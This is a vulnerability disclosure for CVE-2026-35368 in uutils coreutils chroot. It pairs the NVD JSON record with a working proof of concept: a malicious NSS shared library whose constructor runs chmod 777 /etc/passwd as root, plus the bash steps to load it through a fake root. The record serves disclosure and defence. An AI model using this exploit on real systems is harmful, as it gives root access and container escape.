CVE-2026-35368

// malicious_nss.c - Compile with: gcc -shared -fPIC -o libnss_exploit.so.2 malicious_nss.c #include <stdlib.h> // Constructor attribute to run code upon library loading __attribute__((constructor)) void init() { // Malicious actions to be executed as root system("chmod 777 /etc/passwd"); system("id > /tmp/poc_success.txt"); } /* * Exploit Setup (Bash): * 1. mkdir -p /tmp/fake_root/lib /tmp/fake_root/etc * 2. cp libnss_exploit.so.2 /tmp/fake_root/lib/ * 3. echo "passwd: files exploit" > /tmp/fake_root/etc/nsswitch.conf * 4. /path/to/uutils/chroot --userspec=root:root /tmp/fake_root /bin/sh */

{"cve": {"id": "CVE-2026-35368", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:40.560", "lastModified": "2026-04-24T19:18:55.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in the chroot utility of uutils coreutils when using the --userspec option. The utility resolves the user specification via getpwnam() after entering the chroot but before dropping root privileges. On glibc-based systems, this can trigger the Name Service Switch (NSS) to load shared libraries (e.g., libnss_*.so.2) from the new root directory. If the NEWROOT is writable by an attacker, they can inject a malicious NSS module to execute arbitrary code as root, facilitating a full container escape or privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-426"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/10327", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/uutils/coreutils/issues/10327", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}